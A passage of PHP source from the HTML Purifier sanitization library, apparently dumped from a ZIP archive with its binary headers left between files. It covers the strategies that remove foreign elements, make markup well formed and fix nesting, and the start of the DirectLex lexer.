$escape_invalid_tags = $config->get('Core.EscapeInvalidTags');
$remove_invalid_img = $config->get('Core.RemoveInvalidImg');
// currently only used to determine if comments should be kept
$trusted = $config->get('HTML.Trusted');
$comment_lookup = $config->get('HTML.AllowedComments');
$comment_regexp = $config->get('HTML.AllowedCommentsRegexp');
$check_comments = $comment_lookup !== array() || $comment_regexp !== null;
$remove_script_contents = $config->get('Core.RemoveScriptContents');
$hidden_elements = $config->get('Core.HiddenElements');
// remove script contents compatibility
if ($remove_script_contents === true) {
$hidden_elements['script'] = true;
} elseif ($remove_script_contents === false && isset($hidden_elements['script'])) {
unset($hidden_elements['script']);
}
$attr_validator = new HTMLPurifier_AttrValidator();
// removes tokens until it reaches a closing tag with its value
$remove_until = false;
// converts comments into text tokens when this is equal to a tag name
$textify_comments = false;
$token = false;
$context->register('CurrentToken', $token);
$e = false;
if ($config->get('Core.CollectErrors')) {
$e =& $context->get('ErrorCollector');
}
foreach ($tokens as $token) {
if ($remove_until) {
if (empty($token->is_tag) || $token->name !== $remove_until) {
continue;
}
}
if (!empty($token->is_tag)) {
// DEFINITION CALL
// before any processing, try to transform the element
if (isset($definition->info_tag_transform[$token->name])) {
$original_name = $token->name;
// there is a transformation for this tag
// DEFINITION CALL
$token = $definition->
info_tag_transform[$token->name]->transform($token, $config, $context);
if ($e) {
$e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', $original_name);
}
}
if (isset($definition->info[$token->name])) {
// mostly everything's good, but
// we need to make sure required attributes are in order
if (($token instanceof HTMLPurifier_Token_Start || $token instanceof HTMLPurifier_Token_Empty) &&
$definition->info[$token->name]->required_attr &&
($token->name != 'img' || $remove_invalid_img) // ensure config option still works
) {
$attr_validator->validateToken($token, $config, $context);
$ok = true;
foreach ($definition->info[$token->name]->required_attr as $name) {
if (!isset($token->attr[$name])) {
$ok = false;
break;
}
}
if (!$ok) {
if ($e) {
$e->send(
E_ERROR,
'Strategy_RemoveForeignElements: Missing required attribute',
$name
);
}
continue;
}
$token->armor['ValidateAttributes'] = true;
}
if (isset($hidden_elements[$token->name]) && $token instanceof HTMLPurifier_Token_Start) {
$textify_comments = $token->name;
} elseif ($token->name === $textify_comments && $token instanceof HTMLPurifier_Token_End) {
$textify_comments = false;
}
} elseif ($escape_invalid_tags) {
// invalid tag, generate HTML representation and insert in
if ($e) {
$e->send(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text');
}
$token = new HTMLPurifier_Token_Text(
$generator->generateFromToken($token)
);
} else {
// check if we need to destroy all of the tag's children
// CAN BE GENERICIZED
if (isset($hidden_elements[$token->name])) {
if ($token instanceof HTMLPurifier_Token_Start) {
$remove_until = $token->name;
} elseif ($token instanceof HTMLPurifier_Token_Empty) {
// do nothing: we're still looking
} else {
$remove_until = false;
}
if ($e) {
$e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed');
}
} else {
if ($e) {
$e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed');
}
}
continue;
}
} elseif ($token instanceof HTMLPurifier_Token_Comment) {
// textify comments in script tags when they are allowed
if ($textify_comments !== false) {
$data = $token->data;
$token = new HTMLPurifier_Token_Text($data);
} elseif ($trusted || $check_comments) {
// always cleanup comments
$trailing_hyphen = false;
if ($e) {
// perform check whether or not there's a trailing hyphen
if (substr($token->data, -1) == '-') {
$trailing_hyphen = true;
}
}
$token->data = rtrim($token->data, '-');
$found_double_hyphen = false;
while (strpos($token->data, '--') !== false) {
$found_double_hyphen = true;
$token->data = str_replace('--', '-', $token->data);
}
if ($trusted || !empty($comment_lookup[trim($token->data)]) ||
($comment_regexp !== null && preg_match($comment_regexp, trim($token->data)))) {
// OK good
if ($e) {
if ($trailing_hyphen) {
$e->send(
E_NOTICE,
'Strategy_RemoveForeignElements: Trailing hyphen in comment removed'
);
}
if ($found_double_hyphen) {
$e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Hyphens in comment collapsed');
}
}
} else {
if ($e) {
$e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed');
}
continue;
}
} else {
// strip comments
if ($e) {
$e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed');
}
continue;
}
} elseif ($token instanceof HTMLPurifier_Token_Text) {
} else {
continue;
}
$result[] = $token;
}
if ($remove_until && $e) {
// we removed tokens until the end, throw error
$e->send(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', $remove_until);
}
$context->destroy('CurrentToken');
return $result;
}
}
// vim: et sw=4 sts=4
PK j�$Z;�6:� � 9 htmlpurifier/library/HTMLPurifier/Strategy/FixNesting.phpnu �[��� <?php
/**
* Takes a well formed list of tokens and fixes their nesting.
*
* HTML elements dictate which elements are allowed to be their children,
* for example, you can't have a p tag in a span tag. Other elements have
* much more rigorous definitions: tables, for instance, require a specific
* order for their elements. There are also constraints not expressible by
* document type definitions, such as the chameleon nature of ins/del
* tags and global child exclusions.
*
* The first major objective of this strategy is to iterate through all
* the nodes and determine whether or not their children conform to the
* element's definition. If they do not, the child definition may
* optionally supply an amended list of elements that is valid or
* require that the entire node be deleted (and the previous node
* rescanned).
*
* The second objective is to ensure that explicitly excluded elements of
* an element do not appear in its children. Code that accomplishes this
* task is pervasive through the strategy, though the two are distinct tasks
* and could, theoretically, be seperated (although it's not recommended).
*
* @note Whether or not unrecognized children are silently dropped or
* translated into text depends on the child definitions.
*
* @todo Enable nodes to be bubbled out of the structure. This is
* easier with our new algorithm.
*/
class HTMLPurifier_Strategy_FixNesting extends HTMLPurifier_Strategy
{
/**
* @param HTMLPurifier_Token[] $tokens
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array|HTMLPurifier_Token[]
*/
public function execute($tokens, $config, $context)
{
//####################################################################//
// Pre-processing
// O(n) pass to convert to a tree, so that we can efficiently
// refer to substrings
$top_node = HTMLPurifier_Arborize::arborize($tokens, $config, $context);
// get a copy of the HTML definition
$definition = $config->getHTMLDefinition();
$excludes_enabled = !$config->get('Core.DisableExcludes');
// setup the context variable 'IsInline', for chameleon processing
// is 'false' when we are not inline, 'true' when it must always
// be inline, and an integer when it is inline for a certain
// branch of the document tree
$is_inline = $definition->info_parent_def->descendants_are_inline;
$context->register('IsInline', $is_inline);
// setup error collector
$e =& $context->get('ErrorCollector', true);
//####################################################################//
// Loop initialization
// stack that contains all elements that are excluded
// it is organized by parent elements, similar to $stack,
// but it is only populated when an element with exclusions is
// processed, i.e. there won't be empty exclusions.
$exclude_stack = array($definition->info_parent_def->excludes);
// variable that contains the start token while we are processing
// nodes. This enables error reporting to do its job
$node = $top_node;
// dummy token
list($token, $d) = $node->toTokenPair();
$context->register('CurrentNode', $node);
$context->register('CurrentToken', $token);
//####################################################################//
// Loop
// We need to implement a post-order traversal iteratively, to
// avoid running into stack space limits. This is pretty tricky
// to reason about, so we just manually stack-ify the recursive
// variant:
//
// function f($node) {
// foreach ($node->children as $child) {
// f($child);
// }
// validate($node);
// }
//
// Thus, we will represent a stack frame as array($node,
// $is_inline, stack of children)
// e.g. array_reverse($node->children) - already processed
// children.
$parent_def = $definition->info_parent_def;
$stack = array(
array($top_node,
$parent_def->descendants_are_inline,
$parent_def->excludes, // exclusions
0)
);
while (!empty($stack)) {
list($node, $is_inline, $excludes, $ix) = array_pop($stack);
// recursive call
$go = false;
$def = empty($stack) ? $definition->info_parent_def : $definition->info[$node->name];
while (isset($node->children[$ix])) {
$child = $node->children[$ix++];
if ($child instanceof HTMLPurifier_Node_Element) {
$go = true;
$stack[] = array($node, $is_inline, $excludes, $ix);
$stack[] = array($child,
// ToDo: I don't think it matters if it's def or
// child_def, but double check this...
$is_inline || $def->descendants_are_inline,
empty($def->excludes) ? $excludes
: array_merge($excludes, $def->excludes),
0);
break;
}
};
if ($go) continue;
list($token, $d) = $node->toTokenPair();
// base case
if ($excludes_enabled && isset($excludes[$node->name])) {
$node->dead = true;
if ($e) $e->send(E_ERROR, 'Strategy_FixNesting: Node excluded');
} else {
// XXX I suppose it would be slightly more efficient to
// avoid the allocation here and have children
// strategies handle it
$children = array();
foreach ($node->children as $child) {
if (!$child->dead) $children[] = $child;
}
$result = $def->child->validateChildren($children, $config, $context);
if ($result === true) {
// nop
$node->children = $children;
} elseif ($result === false) {
$node->dead = true;
if ($e) $e->send(E_ERROR, 'Strategy_FixNesting: Node removed');
} else {
$node->children = $result;
if ($e) {
// XXX This will miss mutations of internal nodes. Perhaps defer to the child validators
if (empty($result) && !empty($children)) {
$e->send(E_ERROR, 'Strategy_FixNesting: Node contents removed');
} else if ($result != $children) {
$e->send(E_WARNING, 'Strategy_FixNesting: Node reorganized');
}
}
}
}
}
//####################################################################//
// Post-processing
// remove context variables
$context->destroy('IsInline');
$context->destroy('CurrentNode');
$context->destroy('CurrentToken');
//####################################################################//
// Return
return HTMLPurifier_Arborize::flatten($node, $config, $context);
}
}
// vim: et sw=4 sts=4
PK j�$Zӗ��k �k = htmlpurifier/library/HTMLPurifier/Strategy/MakeWellFormed.phpnu �[��� <?php
/**
* Takes tokens makes them well-formed (balance end tags, etc.)
*
* Specification of the armor attributes this strategy uses:
*
* - MakeWellFormed_TagClosedError: This armor field is used to
* suppress tag closed errors for certain tokens [TagClosedSuppress],
* in particular, if a tag was generated automatically by HTML
* Purifier, we may rely on our infrastructure to close it for us
* and shouldn't report an error to the user [TagClosedAuto].
*/
class HTMLPurifier_Strategy_MakeWellFormed extends HTMLPurifier_Strategy
{
/**
* Array stream of tokens being processed.
* @type HTMLPurifier_Token[]
*/
protected $tokens;
/**
* Current token.
* @type HTMLPurifier_Token
*/
protected $token;
/**
* Zipper managing the true state.
* @type HTMLPurifier_Zipper
*/
protected $zipper;
/**
* Current nesting of elements.
* @type array
*/
protected $stack;
/**
* Injectors active in this stream processing.
* @type HTMLPurifier_Injector[]
*/
protected $injectors;
/**
* Current instance of HTMLPurifier_Config.
* @type HTMLPurifier_Config
*/
protected $config;
/**
* Current instance of HTMLPurifier_Context.
* @type HTMLPurifier_Context
*/
protected $context;
/**
* @param HTMLPurifier_Token[] $tokens
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return HTMLPurifier_Token[]
* @throws HTMLPurifier_Exception
*/
public function execute($tokens, $config, $context)
{
$definition = $config->getHTMLDefinition();
// local variables
$generator = new HTMLPurifier_Generator($config, $context);
$escape_invalid_tags = $config->get('Core.EscapeInvalidTags');
// used for autoclose early abortion
$global_parent_allowed_elements = $definition->info_parent_def->child->getAllowedElements($config);
$e = $context->get('ErrorCollector', true);
$i = false; // injector index
list($zipper, $token) = HTMLPurifier_Zipper::fromArray($tokens);
if ($token === NULL) {
return array();
}
$reprocess = false; // whether or not to reprocess the same token
$stack = array();
// member variables
$this->stack =& $stack;
$this->tokens =& $tokens;
$this->token =& $token;
$this->zipper =& $zipper;
$this->config = $config;
$this->context = $context;
// context variables
$context->register('CurrentNesting', $stack);
$context->register('InputZipper', $zipper);
$context->register('CurrentToken', $token);
// -- begin INJECTOR --
$this->injectors = array();
$injectors = $config->getBatch('AutoFormat');
$def_injectors = $definition->info_injector;
$custom_injectors = $injectors['Custom'];
unset($injectors['Custom']); // special case
foreach ($injectors as $injector => $b) {
// XXX: Fix with a legitimate lookup table of enabled filters
if (strpos($injector, '.') !== false) {
continue;
}
$injector = "HTMLPurifier_Injector_$injector";
if (!$b) {
continue;
}
$this->injectors[] = new $injector;
}
foreach ($def_injectors as $injector) {
// assumed to be objects
$this->injectors[] = $injector;
}
foreach ($custom_injectors as $injector) {
if (!$injector) {
continue;
}
if (is_string($injector)) {
$injector = "HTMLPurifier_Injector_$injector";
$injector = new $injector;
}
$this->injectors[] = $injector;
}
// give the injectors references to the definition and context
// variables for performance reasons
foreach ($this->injectors as $ix => $injector) {
$error = $injector->prepare($config, $context);
if (!$error) {
continue;
}
array_splice($this->injectors, $ix, 1); // rm the injector
trigger_error("Cannot enable {$injector->name} injector because $error is not allowed", E_USER_WARNING);
}
// -- end INJECTOR --
// a note on reprocessing:
// In order to reduce code duplication, whenever some code needs
// to make HTML changes in order to make things "correct", the
// new HTML gets sent through the purifier, regardless of its
// status. This means that if we add a start token, because it
// was totally necessary, we don't have to update nesting; we just
// punt ($reprocess = true; continue;) and it does that for us.
// isset is in loop because $tokens size changes during loop exec
for (;;
// only increment if we don't need to reprocess
$reprocess ? $reprocess = false : $token = $zipper->next($token)) {
// check for a rewind
if (is_int($i)) {
// possibility: disable rewinding if the current token has a
// rewind set on it already. This would offer protection from
// infinite loop, but might hinder some advanced rewinding.
$rewind_offset = $this->injectors[$i]->getRewindOffset();
if (is_int($rewind_offset)) {
for ($j = 0; $j < $rewind_offset; $j++) {
if (empty($zipper->front)) break;
$token = $zipper->prev($token);
// indicate that other injectors should not process this token,
// but we need to reprocess it. See Note [Injector skips]
unset($token->skip[$i]);
$token->rewind = $i;
if ($token instanceof HTMLPurifier_Token_Start) {
array_pop($this->stack);
} elseif ($token instanceof HTMLPurifier_Token_End) {
$this->stack[] = $token->start;
}
}
}
$i = false;
}
// handle case of document end
if ($token === NULL) {
// kill processing if stack is empty
if (empty($this->stack)) {
break;
}
// peek
$top_nesting = array_pop($this->stack);
$this->stack[] = $top_nesting;
// send error [TagClosedSuppress]
if ($e && !isset($top_nesting->armor['MakeWellFormed_TagClosedError'])) {
$e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by document end', $top_nesting);
}
// append, don't splice, since this is the end
$token = new HTMLPurifier_Token_End($top_nesting->name);
// punt!
$reprocess = true;
continue;
}
//echo '<br>'; printZipper($zipper, $token);//printTokens($this->stack);
//flush();
// quick-check: if it's not a tag, no need to process
if (empty($token->is_tag)) {
if ($token instanceof HTMLPurifier_Token_Text) {
foreach ($this->injectors as $i => $injector) {
if (isset($token->skip[$i])) {
// See Note [Injector skips]
continue;
}
if ($token->rewind !== null && $token->rewind !== $i) {
continue;
}
// XXX fuckup
$r = $token;
$injector->handleText($r);
$token = $this->processToken($r, $i);
$reprocess = true;
break;
}
}
// another possibility is a comment
continue;
}
if (isset($definition->info[$token->name])) {
$type = $definition->info[$token->name]->child->type;
} else {
$type = false; // Type is unknown, treat accordingly
}
// quick tag checks: anything that's *not* an end tag
$ok = false;
if ($type === 'empty' && $token instanceof HTMLPurifier_Token_Start) {
// claims to be a start tag but is empty
$token = new HTMLPurifier_Token_Empty(
$token->name,
$token->attr,
$token->line,
$token->col,
$token->armor
);
$ok = true;
} elseif ($type && $type !== 'empty' && $token instanceof HTMLPurifier_Token_Empty) {
// claims to be empty but really is a start tag
// NB: this assignment is required
$old_token = $token;
$token = new HTMLPurifier_Token_End($token->name);
$token = $this->insertBefore(
new HTMLPurifier_Token_Start($old_token->name, $old_token->attr, $old_token->line, $old_token->col, $old_token->armor)
);
// punt (since we had to modify the input stream in a non-trivial way)
$reprocess = true;
continue;
} elseif ($token instanceof HTMLPurifier_Token_Empty) {
// real empty token
$ok = true;
} elseif ($token instanceof HTMLPurifier_Token_Start) {
// start tag
// ...unless they also have to close their parent
if (!empty($this->stack)) {
// Performance note: you might think that it's rather
// inefficient, recalculating the autoclose information
// for every tag that a token closes (since when we
// do an autoclose, we push a new token into the
// stream and then /process/ that, before
// re-processing this token.) But this is
// necessary, because an injector can make an
// arbitrary transformations to the autoclosing
// tokens we introduce, so things may have changed
// in the meantime. Also, doing the inefficient thing is
// "easy" to reason about (for certain perverse definitions
// of "easy")
$parent = array_pop($this->stack);
$this->stack[] = $parent;
$parent_def = null;
$parent_elements = null;
$autoclose = false;
if (isset($definition->info[$parent->name])) {
$parent_def = $definition->info[$parent->name];
$parent_elements = $parent_def->child->getAllowedElements($config);
$autoclose = !isset($parent_elements[$token->name]);
}
if ($autoclose && $definition->info[$token->name]->wrap) {
// Check if an element can be wrapped by another
// element to make it valid in a context (for
// example, <ul><ul> needs a <li> in between)
$wrapname = $definition->info[$token->name]->wrap;
$wrapdef = $definition->info[$wrapname];
$elements = $wrapdef->child->getAllowedElements($config);
if (isset($elements[$token->name]) && isset($parent_elements[$wrapname])) {
$newtoken = new HTMLPurifier_Token_Start($wrapname);
$token = $this->insertBefore($newtoken);
$reprocess = true;
continue;
}
}
$carryover = false;
if ($autoclose && $parent_def->formatting) {
$carryover = true;
}
if ($autoclose) {
// check if this autoclose is doomed to fail
// (this rechecks $parent, which his harmless)
$autoclose_ok = isset($global_parent_allowed_elements[$token->name]);
if (!$autoclose_ok) {
foreach ($this->stack as $ancestor) {
$elements = $definition->info[$ancestor->name]->child->getAllowedElements($config);
if (isset($elements[$token->name])) {
$autoclose_ok = true;
break;
}
if ($definition->info[$token->name]->wrap) {
$wrapname = $definition->info[$token->name]->wrap;
$wrapdef = $definition->info[$wrapname];
$wrap_elements = $wrapdef->child->getAllowedElements($config);
if (isset($wrap_elements[$token->name]) && isset($elements[$wrapname])) {
$autoclose_ok = true;
break;
}
}
}
}
if ($autoclose_ok) {
// errors need to be updated
$new_token = new HTMLPurifier_Token_End($parent->name);
$new_token->start = $parent;
// [TagClosedSuppress]
if ($e && !isset($parent->armor['MakeWellFormed_TagClosedError'])) {
if (!$carryover) {
$e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag auto closed', $parent);
} else {
$e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag carryover', $parent);
}
}
if ($carryover) {
$element = clone $parent;
// [TagClosedAuto]
$element->armor['MakeWellFormed_TagClosedError'] = true;
$element->carryover = true;
$token = $this->processToken(array($new_token, $token, $element));
} else {
$token = $this->insertBefore($new_token);
}
} else {
$token = $this->remove();
}
$reprocess = true;
continue;
}
}
$ok = true;
}
if ($ok) {
foreach ($this->injectors as $i => $injector) {
if (isset($token->skip[$i])) {
// See Note [Injector skips]
continue;
}
if ($token->rewind !== null && $token->rewind !== $i) {
continue;
}
$r = $token;
$injector->handleElement($r);
$token = $this->processToken($r, $i);
$reprocess = true;
break;
}
if (!$reprocess) {
// ah, nothing interesting happened; do normal processing
if ($token instanceof HTMLPurifier_Token_Start) {
$this->stack[] = $token;
} elseif ($token instanceof HTMLPurifier_Token_End) {
throw new HTMLPurifier_Exception(
'Improper handling of end tag in start code; possible error in MakeWellFormed'
);
}
}
continue;
}
// sanity check: we should be dealing with a closing tag
if (!$token instanceof HTMLPurifier_Token_End) {
throw new HTMLPurifier_Exception('Unaccounted for tag token in input stream, bug in HTML Purifier');
}
// make sure that we have something open
if (empty($this->stack)) {
if ($escape_invalid_tags) {
if ($e) {
$e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag to text');
}
$token = new HTMLPurifier_Token_Text($generator->generateFromToken($token));
} else {
if ($e) {
$e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag removed');
}
$token = $this->remove();
}
$reprocess = true;
continue;
}
// first, check for the simplest case: everything closes neatly.
// Eventually, everything passes through here; if there are problems
// we modify the input stream accordingly and then punt, so that
// the tokens get processed again.
$current_parent = array_pop($this->stack);
if ($current_parent->name == $token->name) {
$token->start = $current_parent;
foreach ($this->injectors as $i => $injector) {
if (isset($token->skip[$i])) {
// See Note [Injector skips]
continue;
}
if ($token->rewind !== null && $token->rewind !== $i) {
continue;
}
$r = $token;
$injector->handleEnd($r);
$token = $this->processToken($r, $i);
$this->stack[] = $current_parent;
$reprocess = true;
break;
}
continue;
}
// okay, so we're trying to close the wrong tag
// undo the pop previous pop
$this->stack[] = $current_parent;
// scroll back the entire nest, trying to find our tag.
// (feature could be to specify how far you'd like to go)
$size = count($this->stack);
// -2 because -1 is the last element, but we already checked that
$skipped_tags = false;
for ($j = $size - 2; $j >= 0; $j--) {
if ($this->stack[$j]->name == $token->name) {
$skipped_tags = array_slice($this->stack, $j);
break;
}
}
// we didn't find the tag, so remove
if ($skipped_tags === false) {
if ($escape_invalid_tags) {
if ($e) {
$e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag to text');
}
$token = new HTMLPurifier_Token_Text($generator->generateFromToken($token));
} else {
if ($e) {
$e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag removed');
}
$token = $this->remove();
}
$reprocess = true;
continue;
}
// do errors, in REVERSE $j order: a,b,c with </a></b></c>
$c = count($skipped_tags);
if ($e) {
for ($j = $c - 1; $j > 0; $j--) {
// notice we exclude $j == 0, i.e. the current ending tag, from
// the errors... [TagClosedSuppress]
if (!isset($skipped_tags[$j]->armor['MakeWellFormed_TagClosedError'])) {
$e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by element end', $skipped_tags[$j]);
}
}
}
// insert tags, in FORWARD $j order: c,b,a with </a></b></c>
$replace = array($token);
for ($j = 1; $j < $c; $j++) {
// ...as well as from the insertions
$new_token = new HTMLPurifier_Token_End($skipped_tags[$j]->name);
$new_token->start = $skipped_tags[$j];
array_unshift($replace, $new_token);
if (isset($definition->info[$new_token->name]) && $definition->info[$new_token->name]->formatting) {
// [TagClosedAuto]
$element = clone $skipped_tags[$j];
$element->carryover = true;
$element->armor['MakeWellFormed_TagClosedError'] = true;
$replace[] = $element;
}
}
$token = $this->processToken($replace);
$reprocess = true;
continue;
}
$context->destroy('CurrentToken');
$context->destroy('CurrentNesting');
$context->destroy('InputZipper');
unset($this->injectors, $this->stack, $this->tokens);
return $zipper->toArray($token);
}
/**
* Processes arbitrary token values for complicated substitution patterns.
* In general:
*
* If $token is an array, it is a list of tokens to substitute for the
* current token. These tokens then get individually processed. If there
* is a leading integer in the list, that integer determines how many
* tokens from the stream should be removed.
*
* If $token is a regular token, it is swapped with the current token.
*
* If $token is false, the current token is deleted.
*
* If $token is an integer, that number of tokens (with the first token
* being the current one) will be deleted.
*
* @param HTMLPurifier_Token|array|int|bool $token Token substitution value
* @param HTMLPurifier_Injector|int $injector Injector that performed the substitution; default is if
* this is not an injector related operation.
* @throws HTMLPurifier_Exception
*/
protected function processToken($token, $injector = -1)
{
// Zend OpCache miscompiles $token = array($token), so
// avoid this pattern. See: https://github.com/ezyang/htmlpurifier/issues/108
// normalize forms of token
if (is_object($token)) {
$tmp = $token;
$token = array(1, $tmp);
}
if (is_int($token)) {
$tmp = $token;
$token = array($tmp);
}
if ($token === false) {
$token = array(1);
}
if (!is_array($token)) {
throw new HTMLPurifier_Exception('Invalid token type from injector');
}
if (!is_int($token[0])) {
array_unshift($token, 1);
}
if ($token[0] === 0) {
throw new HTMLPurifier_Exception('Deleting zero tokens is not valid');
}
// $token is now an array with the following form:
// array(number nodes to delete, new node 1, new node 2, ...)
$delete = array_shift($token);
list($old, $r) = $this->zipper->splice($this->token, $delete, $token);
if ($injector > -1) {
// See Note [Injector skips]
// Determine appropriate skips. Here's what the code does:
// *If* we deleted one or more tokens, copy the skips
// of those tokens into the skips of the new tokens (in $token).
// Also, mark the newly inserted tokens as having come from
// $injector.
$oldskip = isset($old[0]) ? $old[0]->skip : array();
foreach ($token as $object) {
$object->skip = $oldskip;
$object->skip[$injector] = true;
}
}
return $r;
}
/**
* Inserts a token before the current token. Cursor now points to
* this token. You must reprocess after this.
* @param HTMLPurifier_Token $token
*/
private function insertBefore($token)
{
// NB not $this->zipper->insertBefore(), due to positioning
// differences
$splice = $this->zipper->splice($this->token, 0, array($token));
return $splice[1];
}
/**
* Removes current token. Cursor now points to new token occupying previously
* occupied space. You must reprocess after this.
*/
private function remove()
{
return $this->zipper->delete();
}
}
// Note [Injector skips]
// ~~~~~~~~~~~~~~~~~~~~~
// When I originally designed this class, the idea behind the 'skip'
// property of HTMLPurifier_Token was to help avoid infinite loops
// in injector processing. For example, suppose you wrote an injector
// that bolded swear words. Naively, you might write it so that
// whenever you saw ****, you replaced it with <strong>****</strong>.
//
// When this happens, we will reprocess all of the tokens with the
// other injectors. Now there is an opportunity for infinite loop:
// if we rerun the swear-word injector on these tokens, we might
// see **** and then reprocess again to get
// <strong><strong>****</strong></strong> ad infinitum.
//
// Thus, the idea of a skip is that once we process a token with
// an injector, we mark all of those tokens as having "come from"
// the injector, and we never run the injector again on these
// tokens.
//
// There were two more complications, however:
//
// - With HTMLPurifier_Injector_RemoveEmpty, we noticed that if
// you had <b><i></i></b>, after you removed the <i></i>, you
// really would like this injector to go back and reprocess
// the <b> tag, discovering that it is now empty and can be
// removed. So we reintroduced the possibility of infinite looping
// by adding a "rewind" function, which let you go back to an
// earlier point in the token stream and reprocess it with injectors.
// Needless to say, we need to UN-skip the token so it gets
// reprocessed.
//
// - Suppose that you successfuly process a token, replace it with
// one with your skip mark, but now another injector wants to
// process the skipped token with another token. Should you continue
// to skip that new token, or reprocess it? If you reprocess,
// you can end up with an infinite loop where one injector converts
// <a> to <b>, and then another injector converts it back. So
// we inherit the skips, but for some reason, I thought that we
// should inherit the skip from the first token of the token
// that we deleted. Why? Well, it seems to work OK.
//
// If I were to redesign this functionality, I would absolutely not
// go about doing it this way: the semantics are just not very well
// defined, and in any case you probably wanted to operate on trees,
// not token streams.
// vim: et sw=4 sts=4
PK j�$Z�z �� � 8 htmlpurifier/library/HTMLPurifier/Strategy/Composite.phpnu �[��� <?php
/**
* Composite strategy that runs multiple strategies on tokens.
*/
abstract class HTMLPurifier_Strategy_Composite extends HTMLPurifier_Strategy
{
/**
* List of strategies to run tokens through.
* @type HTMLPurifier_Strategy[]
*/
protected $strategies = array();
/**
* @param HTMLPurifier_Token[] $tokens
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return HTMLPurifier_Token[]
*/
public function execute($tokens, $config, $context)
{
foreach ($this->strategies as $strategy) {
$tokens = $strategy->execute($tokens, $config, $context);
}
return $tokens;
}
}
// vim: et sw=4 sts=4
PK j�$Z0��& 3 htmlpurifier/library/HTMLPurifier/Strategy/Core.phpnu �[��� <?php
/**
* Core strategy composed of the big four strategies.
*/
class HTMLPurifier_Strategy_Core extends HTMLPurifier_Strategy_Composite
{
public function __construct()
{
$this->strategies[] = new HTMLPurifier_Strategy_RemoveForeignElements();
$this->strategies[] = new HTMLPurifier_Strategy_MakeWellFormed();
$this->strategies[] = new HTMLPurifier_Strategy_FixNesting();
$this->strategies[] = new HTMLPurifier_Strategy_ValidateAttributes();
}
}
// vim: et sw=4 sts=4
PK j�$Z �$� � / htmlpurifier/library/HTMLPurifier/Exception.phpnu �[��� <?php
/**
* Global exception class for HTML Purifier; any exceptions we throw
* are from here.
*/
class HTMLPurifier_Exception extends Exception
{
}
// vim: et sw=4 sts=4
PK j�$Z��&P P 5 htmlpurifier/library/HTMLPurifier/Lexer/DirectLex.phpnu �[��� <?php
/**
* Our in-house implementation of a parser.
*
* A pure PHP parser, DirectLex has absolutely no dependencies, making
* it a reasonably good default for PHP4. Written with efficiency in mind,
* it can be four times faster than HTMLPurifier_Lexer_PEARSax3, although it
* pales in comparison to HTMLPurifier_Lexer_DOMLex.
*
* @todo Reread XML spec and document differences.
*/
class HTMLPurifier_Lexer_DirectLex extends HTMLPurifier_Lexer
{
/**
* @type bool
*/
public $tracksLineNumbers = true;
/**
* Whitespace characters for str(c)spn.
* @type string
*/
protected $_whitespace = "\x20\x09\x0D\x0A";
/**
* Callback function for script CDATA fudge
* @param array $matches, in form of array(opening tag, contents, closing tag)
* @return string
*/
protected function scriptCallback($matches)
{
return $matches[1] . htmlspecialchars($matches[2], ENT_COMPAT, 'UTF-8') . $matches[3];
}
/**
* @param String $html
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array|HTMLPurifier_Token[]
*/
public function tokenizeHTML($html, $config, $context)
{
// special normalization for script tags without any armor
// our "armor" heurstic is a < sign any number of whitespaces after
// the first script tag
if ($config->get('HTML.Trusted')) {
$html = preg_replace_callback(
'#(<script[^>]*>)(\s*[^<].+?)(</script>)#si',
array($this, 'scriptCallback'),
$html
);
}
$html = $this->normalize($html, $config, $context);
$cursor = 0; // our location in the text
$inside_tag = false; // whether or not we're parsing the inside of a tag
$array = array(); // result array
// This is also treated to mean maintain *column* numbers too
$maintain_line_numbers = $config->get('Core.MaintainLineNumbers');
if ($maintain_line_numbers === null) {
// automatically determine line numbering by checking
// if error collection is on
$maintain_line_numbers = $config->get('Core.CollectErrors');
}
if ($maintain_line_numbers) {
$current_line = 1;
$current_col = 0;
$length = strlen($html);
} else {
$current_line = false;
$current_col = false;
$length = false;
}
$context->register('CurrentLine', $current_line);
$context->register('CurrentCol', $current_col);
$nl = "\n";
// how often to manually recalculate. This will ALWAYS be right,
// but it's pretty wasteful. Set to 0 to turn off
$synchronize_interval = $config->get('Core.DirectLexLineNumberSyncInterval');
$e = false;
if ($config->get('Core.CollectErrors')) {
$e =& $context->get('ErrorCollector');
}
// for testing synchronization
$loops = 0;
while (++$loops) {
// $cursor is either at the start of a token, or inside of
// a tag (i.e. there was a < immediately before it), as indicated
// by $inside_tag
if ($maintain_line_numbers) {
// $rcursor, however, is always at the start of a token.
$rcursor = $cursor - (int)$inside_tag;
// Column number is cheap, so we calculate it every round.
// We're interested at the *end* of the newline string, so
// we need to add strlen($nl) == 1 to $nl_pos before subtracting it
// from our "rcursor" position.
$nl_pos = strrpos($html, $nl, $rcursor - $length);
$current_col = $rcursor - (is_bool($nl_pos) ? 0 : $nl_pos + 1);
// recalculate lines
if ($synchronize_interval && // synchronization is on
$cursor > 0 && // cursor is further than zero
$loops % $synchronize_interval === 0) { // time to synchronize!
$current_line = 1 + $this->substrCount($html, $nl, 0, $cursor);
}
}
$position_next_lt = strpos($html, '<', $cursor);
$position_next_gt = strpos($html, '>', $cursor);
// triggers on "<b>asdf</b>" but not "asdf <b></b>"
// special case to set up context
if ($position_next_lt === $cursor) {
$inside_tag = true;
$cursor++;
}
if (!$inside_tag && $position_next_lt !== false) {
// We are not inside tag and there still is another tag to parse
$token = new
HTMLPurifier_Token_Text(
$this->parseText(
substr(
$html,
$cursor,
$position_next_lt - $cursor
), $config
)
